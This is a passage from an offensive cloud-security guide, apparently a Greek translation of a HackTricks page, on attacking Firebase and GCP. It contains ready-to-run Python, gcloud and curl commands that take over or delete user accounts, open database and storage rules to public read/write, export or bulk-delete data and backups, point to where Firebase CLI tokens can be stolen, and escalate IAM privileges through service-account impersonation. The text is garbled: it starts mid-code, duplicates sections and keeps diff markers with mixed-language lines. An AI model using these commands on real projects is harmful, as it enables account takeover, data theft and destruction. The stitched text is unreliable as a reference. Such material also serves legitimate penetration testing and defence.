firebase_admin.initialize_app(cred)
```
Για να δημιουργήσει έναν κακόβουλο χρήστη χρησιμοποιώντας τη διεύθυνση email του θύματος, ο επιτιθέμενος θα επιχειρούσε να χρησιμοποιήσει το Firebase Admin SDK για να δημιουργήσει έναν νέο λογαριασμό με αυτή τη διεύθυνση.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Για να τροποποιήσει έναν υπάρχοντα χρήστη, ο επιτιθέμενος θα ενημέρωνε πεδία όπως η διεύθυνση email, η κατάσταση επαλήθευσης ή αν ο λογαριασμός είναι απενεργοποιημένος.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Για να διαγράψει έναν λογαριασμό χρήστη και να προκαλέσει άρνηση υπηρεσίας, ο επιτιθέμενος θα έστελνε ένα αίτημα για την πλήρη διαγραφή του χρήστη.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Ο επιτιθέμενος μπορεί επίσης να ανακτήσει πληροφορίες για υπάρχοντες χρήστες ζητώντας το UID ή το email address τους.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Επιπλέον, ο επιτιθέμενος θα μπορούσε να δημιουργήσει συνδέσμους επαλήθευσης ή συνδέσμους επαναφοράς κωδικού προκειμένου να αλλάξει τον κωδικό ενός χρήστη και να αποκτήσει πρόσβαση στον λογαριασμό του.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Διαχείριση χρηστών στο Firebase Authentication
Ένας επιτιθέμενος χρειάζεται συγκεκριμένα δικαιώματα του Firebase Authentication για να πραγματοποιήσει αυτή την επίθεση. Τα απαιτούμενα δικαιώματα είναι:
- `firebaseauth.users.create` για τη δημιουργία χρηστών
- `firebaseauth.users.update` για την τροποποίηση υπαρχόντων χρηστών
- `firebaseauth.users.delete` για τη διαγραφή χρηστών
- `firebaseauth.users.get` για την απόκτηση πληροφοριών χρήστη
- `firebaseauth.users.sendEmail` για την αποστολή email σε χρήστες
- `firebaseauth.users.createSession` για τη δημιουργία συνεδριών χρήστη
Αυτά τα δικαιώματα περιλαμβάνονται στο ρόλο roles/firebaseauth.admin, ο οποίος παρέχει πλήρη πρόσβαση ανάγνωσης/εγγραφής στους πόρους του Firebase Authentication. Είναι επίσης μέρος ρόλων υψηλότερου επιπέδου όπως `roles/firebase.developAdmin` (που περιλαμβάνει όλα τα firebaseauth.* δικαιώματα) και `roles/firebase.admin` (πλήρης πρόσβαση σε όλες τις υπηρεσίες Firebase).
Για να χρησιμοποιήσει το Firebase Admin SDK, ο επιτιθέμενος θα χρειαστεί πρόσβαση σε service account credentials (a JSON file), τα οποία μπορούν να αποκτηθούν από παραβιασμένα συστήματα, δημόσια εκτεθειμένα αποθετήρια κώδικα, παραβιασμένα CI/CD περιβάλλοντα, ή μέσω παραβίασης λογαριασμών developers που έχουν πρόσβαση σε αυτά τα credentials.
Το πρώτο βήμα είναι να διαμορφώσετε το Firebase Admin SDK χρησιμοποιώντας τα service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Για να δημιουργήσει έναν κακόβουλο χρήστη χρησιμοποιώντας το email του θύματος, ο επιτιθέμενος θα επιχειρούσε να δημιουργήσει έναν νέο λογαριασμό χρήστη με αυτό το email, εκχωρώντας τον δικό του κωδικό πρόσβασης και πληροφορίες προφίλ.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Για να τροποποιήσει έναν υπάρχοντα χρήστη, ο επιτιθέμενος θα άλλαζε πεδία όπως η διεύθυνση email, η κατάσταση επαλήθευσης ή το αν ο λογαριασμός είναι απενεργοποιημένος.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Για να διαγράψει έναν λογαριασμό χρήστη—πρακτικά προκαλώντας άρνηση υπηρεσίας—ο επιτιθέμενος θα αποστείλει ένα αίτημα για να διαγράψει μόνιμα αυτόν τον χρήστη.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Ο επιτιθέμενος θα μπορούσε επίσης να ανακτήσει πληροφορίες για υπάρχοντες χρήστες, όπως το UID ή το email τους, ζητώντας λεπτομέρειες χρήστη είτε με UID είτε με διεύθυνση email.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Επιπλέον, ο επιτιθέμενος θα μπορούσε να δημιουργήσει verification links ή password-reset links, επιτρέποντάς του να αλλάξει τον κωδικό πρόσβασης ενός χρήστη και να αναλάβει τον έλεγχο του λογαριασμού.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Modification of security rules in Firebase services
Ο επιτιθέμενος χρειάζεται συγκεκριμένες άδειες για να τροποποιήσει τους κανόνες ασφαλείας ανάλογα με την υπηρεσία. Για το Cloud Firestore και το Firebase Cloud Storage, οι απαιτούμενες άδειες είναι `firebaserules.rulesets.create` για τη δημιουργία των rulesets και `firebaserules.releases.create` για την ανάπτυξη των releases. Αυτές οι άδειες περιλαμβάνονται στο role `roles/firebaserules.admin` ή σε ανώτερα roles όπως `roles/firebase.developAdmin` και `roles/firebase.admin`. Για το Firebase Realtime Database, η απαιτούμενη άδεια είναι `firebasedatabase.instances.update`.
Ο επιτιθέμενος πρέπει να χρησιμοποιήσει το Firebase REST API για να τροποποιήσει τους κανόνες ασφαλείας.
Πρώτα, ο επιτιθέμενος θα πρέπει να αποκτήσει ένα access token χρησιμοποιώντας service account credentials.
Για να αποκτήσει το token:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Για να τροποποιήσετε τους κανόνες του Firebase Realtime Database:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Για να τροποποιήσει τους κανόνες του Cloud Firestore, ο επιτιθέμενος πρέπει να δημιουργήσει ένα ruleset και στη συνέχεια να το αναπτύξει:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Η προηγούμενη εντολή επιστρέφει το όνομα του ruleset με τη μορφή projects/<project-id>/rulesets/<ruleset-id>. Για να αναπτυχθεί η νέα έκδοση, το release πρέπει να ενημερωθεί χρησιμοποιώντας ένα PATCH request:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Για να τροποποιήσετε τους κανόνες του Firebase Cloud Storage:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Η προηγούμενη εντολή επιστρέφει ένα όνομα ruleset στη μορφή projects/<project-id>/rulesets/<ruleset-id>. Για να αναπτυχθεί η νέα έκδοση, το release πρέπει να ενημερωθεί χρησιμοποιώντας ένα PATCH request:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Data exfiltration και χειρισμός στο Cloud Firestore
Cloud Firestore χρησιμοποιεί την ίδια υποδομή και το ίδιο σύστημα δικαιωμάτων με το Cloud Datastore, οπότε τα Datastore IAM permissions εφαρμόζονται άμεσα στο Firestore. Για να χειριστεί κανείς TTL policies απαιτείται το permission `datastore.indexes.update`. Για εξαγωγή δεδομένων απαιτείται το permission `datastore.databases.export`. Για εισαγωγή δεδομένων απαιτείται το permission `datastore.databases.import`. Για μαζική διαγραφή δεδομένων απαιτείται το permission `datastore.databases.bulkDelete`.
Για λειτουργίες backup και restore χρειάζονται συγκεκριμένα permissions:
- `datastore.backups.get` και `datastore.backups.list` για να απαριθμήσετε και να ανακτήσετε λεπτομέρειες των διαθέσιμων backups
- `datastore.backups.delete` για να διαγράψετε backups
- `datastore.backups.restoreDatabase` για να επαναφέρετε μια βάση δεδομένων από backup
- `datastore.backupSchedules.create` και `datastore.backupSchedules.delete` για τη διαχείριση των χρονοδιαγραμμάτων backup
Όταν δημιουργείται μια TTL policy, επιλέγεται μια συγκεκριμένη ιδιότητα (property) για να εντοπίζει οντότητες που είναι επιλέξιμες για διαγραφή. Αυτή η TTL property πρέπει να είναι τύπου Ημερομηνία και ώρα. Ο επιτιθέμενος μπορεί να επιλέξει μια ιδιότητα που υπάρχει ήδη ή να ορίσει μια ιδιότητα που σκοπεύει να προσθέσει αργότερα. Αν η τιμή του πεδίου είναι ημερομηνία στο παρελθόν, το document γίνεται επιλέξιμο για άμεση διαγραφή. Ο επιτιθέμενος μπορεί να χρησιμοποιήσει το gcloud CLI για να χειριστεί TTL policies.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Για να εξάγει δεδομένα και να τα exfiltrate, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει το gcloud CLI.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Για να εισαγάγετε κακόβουλα δεδομένα:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Για να πραγματοποιήσει μαζική διαγραφή δεδομένων και να προκαλέσει denial of service, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει το gcloud Firestore bulk-delete tool για να αφαιρέσει ολόκληρες συλλογές.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Για λειτουργίες δημιουργίας αντιγράφων ασφαλείας και αποκατάστασης, ο επιτιθέμενος θα μπορούσε να δημιουργήσει προγραμματισμένα αντίγραφα ασφαλείας για να καταγράψει την τρέχουσα κατάσταση της βάσης δεδομένων, να απαριθμήσει τα υπάρχοντα αντίγραφα ασφαλείας, να επαναφέρει από ένα αντίγραφο ασφαλείας για να αντικαταστήσει πρόσφατες αλλαγές, να διαγράψει αντίγραφα ασφαλείας για να προκαλέσει μόνιμη απώλεια δεδομένων και να αφαιρέσει προγραμματισμένα αντίγραφα ασφαλείας.
Για να δημιουργήσει ένα ημερήσιο πρόγραμμα αντιγράφων ασφαλείας που θα δημιουργεί αμέσως ένα αντίγραφο ασφαλείας:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Για να επαναφέρει δεδομένα από ένα συγκεκριμένο αντίγραφο ασφαλείας, ο επιτιθέμενος θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων χρησιμοποιώντας τα δεδομένα που περιέχονται σε αυτό το αντίγραφο. Η λειτουργία επαναφοράς γράφει τα δεδομένα του αντιγράφου ασφαλείας σε μια νέα βάση δεδομένων, που σημαίνει ότι ένα υπάρχον DATABASE_ID δεν μπορεί να χρησιμοποιηθεί.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Για να διαγράψετε ένα backup και να προκαλέσετε μόνιμη απώλεια δεδομένων:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Κλοπή και κατάχρηση των Firebase CLI credentials
Ένας attacker δεν χρειάζεται συγκεκριμένα Firebase permissions για να πραγματοποιήσει αυτή την επίθεση, αλλά απαιτείται πρόσβαση στο τοπικό σύστημα του developer ή στο Firebase CLI credentials file. Αυτά τα credentials αποθηκεύονται σε ένα αρχείο JSON που βρίσκεται στη διαδρομή:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
Αυτό το αρχείο περιέχει authentication tokens, συμπεριλαμβανομένων των refresh_token και access_token, που επιτρέπουν στον attacker να αυθεντικοποιηθεί ως ο χρήστης που αρχικά εκτέλεσε το firebase login.
Ο attacker αποκτά πρόσβαση στο Firebase CLI credentials file. Μπορεί στη συνέχεια να αντιγράψει ολόκληρο το αρχείο στο δικό του σύστημα, και το Firebase CLI θα χρησιμοποιήσει αυτόματα τα credentials από την προεπιλεγμένη τοποθεσία του. Αφού το κάνει αυτό, ο attacker μπορεί να δει όλα τα Firebase projects που είναι προσβάσιμα από εκείνον τον χρήστη.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,54 +12,51 @@
### `iam.roles.update` (`iam.roles.get`)
Ένας attacker με τα αναφερόμενα permissions θα μπορεί να ενημερώσει ένα role που σας έχει ανατεθεί και να σας δώσει επιπλέον permissions σε άλλα resources όπως:
<details><summary>Update IAM role to add permissions</summary>
Ένας attacker με τα αναφερόμενα permissions θα είναι σε θέση να ενημερώσει ένα role που σας έχει ανατεθεί και να σας δώσει επιπλέον permissions σε άλλους πόρους όπως:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη **creation, exploit and cleaning of a vuln environment here** και ένα python script για να abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη **δημιουργία, exploit και τον καθαρισμό ενός vuln environment εδώ** και ένα python script για να καταχραστείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
Η iam.roles.create permission επιτρέπει τη δημιουργία προσαρμοσμένων ρόλων σε ένα έργο/οργάνωση. Στα χέρια ενός attacker, αυτό είναι επικίνδυνο επειδή του επιτρέπει να ορίσει νέα σύνολα permissions που μπορούν αργότερα να ανατεθούν σε οντότητες (για παράδειγμα, χρησιμοποιώντας το iam.serviceAccounts.setIamPolicy permission) με στόχο την κλιμάκωση προνομίων.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Ένας attacker με τις αναφερόμενες άδειες θα μπορεί να **request an access token that belongs to a Service Account**, οπότε είναι δυνατό να request an access token of a Service Account με περισσότερα privileges από τα δικά μας.
<details><summary>Impersonate service account to get access token</summary>
Ένας attacker που διαθέτει τα αναφερόμενα permissions θα μπορεί να **request an access token that belongs to a Service Account**, επομένως είναι δυνατό να request an access token ενός Service Account με περισσότερα privileges από τα δικά μας.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
</details>
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**δημιουργία, exploit και καθαρισμό ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Για περισσότερες πληροφορίες δείτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) και ένα python script για να εκμεταλλευτείτε αυτό το προνόμιο [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Ένας attacker με τα αναφερόμενα permissions θα μπορεί να **create a user-managed key for a Service Account**, το οποίο θα μας επιτρέψει να αποκτήσουμε πρόσβαση στο GCP ως εκείνο το Service Account.
<details><summary>Δημιουργία service account key και πιστοποίηση</summary>
Ένας επιτιθέμενος με τις αναφερόμενες άδειες θα μπορεί να **create a user-managed key for a Service Account**, το οποίο θα μας επιτρέψει να αποκτήσουμε πρόσβαση στο GCP ως αυτό το Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσει τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Για περισσότερες πληροφορίες δείτε την [**αρχική έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**δημιουργία, exploit και καθαρισμός ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) και ένα python script για να καταχραστείτε αυτό το προνόμιο [**εδώ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Για περισσότερες πληροφορίες ελέγξτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Σημειώστε ότι **`iam.serviceAccountKeys.update` δεν θα λειτουργήσει για να τροποποιήσει το κλειδί** ενός SA, επειδή για να γίνει αυτό απαιτείται επίσης η άδεια `iam.serviceAccountKeys.create`.
Σημειώστε ότι **`iam.serviceAccountKeys.update` won't work to modify the key** ενός SA επειδή για να γίνει αυτό χρειάζεται επίσης η άδεια `iam.serviceAccountKeys.create`.
### `iam.serviceAccounts.implicitDelegation`
Αν έχετε την άδεια **`iam.serviceAccounts.implicitDelegation`** πάνω σε ένα Service Account που έχει την άδεια **`iam.serviceAccounts.getAccessToken`** σε ένα τρίτο Service Account, τότε μπορείτε να χρησιμοποιήσετε implicitDelegation για να **δημιουργήσετε ένα token για εκείνο το τρίτο Service Account**. Εδώ είναι ένα διάγραμμα για να βοηθήσει στην εξήγηση.
Εάν έχετε την **`iam.serviceAccounts.implicitDelegation`** άδεια σε ένα Service Account που έχει την **`iam.serviceAccounts.getAccessToken`** άδεια σε τρίτο Service Account, τότε μπορείτε να χρησιμοποιήσετε το implicitDelegation για να **δημιουργήσετε ένα token για εκείνον τον τρίτο Service Account**. Εδώ είναι ένα διάγραμμα για να βοηθήσει στην εξήγηση.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Σημειώστε ότι σύμφωνα με την [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), η ανάθεση του `gcloud` λειτουργεί μόνο για να δημιουργήσει ένα token χρησιμοποιώντας τη μέθοδο [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Οπότε εδώ έχετε τον τρόπο να πάρετε ένα token χρησιμοποιώντας απευθείας το API:
<details><summary>Δημιουργία access token με delegation χρησιμοποιώντας το API</summary>
Σημειώστε ότι σύμφωνα με την [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), η ανάθεση του `gcloud` λειτουργεί μόνο για να δημιουργήσει ένα token χρησιμοποιώντας τη μέθοδο [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Οπότε εδώ δείχνεται πώς να αποκτήσετε ένα token χρησιμοποιώντας απευθείας το API:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) και ένα python script για την κατάχρηση αυτού του δικαιώματος [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Ένας επιτιθέμενος με τα αναφερθέντα δικαιώματα θα μπορεί να **υπογράφει αυθαίρετα payloads στο GCP**. Έτσι θα είναι δυνατό να **δημιουργήσετε ένα unsigned JWT του SA και στη συνέχεια να το στείλετε ως blob για να υπογραφεί το JWT** από το SA που στοχεύουμε. Για περισσότερες πληροφορίες [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **υπογράψει αυθαίρετα payloads στο GCP**. Έτσι θα είναι δυνατό να **δημιουργηθεί ένα unsigned JWT του SA και στη συνέχεια να σταλεί ως blob για να υπογραφεί το JWT** από το SA που στοχεύουμε. Για περισσότερες πληροφορίες [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) και ένα python script για την κατάχρηση αυτού του δικαιώματος [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) και [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Ένας επιτιθέμενος με τα αναφερθέντα δικαιώματα θα μπορεί να **υπογράφει καλά σχηματισμένα JSON web tokens (JWTs)**. Η διαφορά με την προηγούμενη μέθοδο είναι ότι **αντί να κάνουμε το google να υπογράψει ένα blob που περιέχει ένα JWT, χρησιμοποιούμε τη μέθοδο signJWT που ήδη περιμένει ένα JWT**. Αυτό το καθιστά πιο εύκολο στη χρήση αλλά μπορείτε να υπογράψετε μόνο JWT αντί για οποιαδήποτε bytes.
Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **υπογράψει καλά σχηματισμένα JSON web tokens (JWTs)**. Η διαφορά με την προηγούμενη μέθοδο είναι ότι **αντί να κάνουμε την google να υπογράψει ένα blob που περιέχει ένα JWT, χρησιμοποιούμε τη μέθοδο signJWT που ήδη αναμένει ένα JWT**. Αυτό το κάνει πιο εύχρηστο αλλά μπορείτε να υπογράψετε μόνο JWT και όχι οποιαδήποτε bytes.
Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) και ένα python script για την κατάχρηση αυτού του δικαιώματος [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Για περισσότερες πληροφορίες δείτε την [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Ένας επιτιθέμενος με τα αναφερθέντα δικαιώματα θα μπορεί να **προσθέσει IAM policies σε service accounts**. Μπορείτε να το καταχραστείτε για να **δώσετε στον εαυτό σας** τα δικαιώματα που χρειάζεστε για να μιμηθείτε το service account. Στο παρακάτω παράδειγμα δίνουμε στον εαυτό μας το ρόλο `roles/iam.serviceAccountTokenCreator` πάνω στο ενδιαφέρον SA:
<details><summary>Προσθήκη IAM policy binding σε service account</summary>
Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να **προσθέσει IAM policies σε service accounts**. Μπορείτε να το καταχραστείτε για να **χορηγήσετε στον εαυτό σας** τα permissions που χρειάζεστε για να impersonate το service account. Στο παρακάτω παράδειγμα χορηγούμε στον εαυτό μας το `roles/iam.serviceAccountTokenCreator` role πάνω στο ενδιαφέρον SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -101,17 +94,15 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
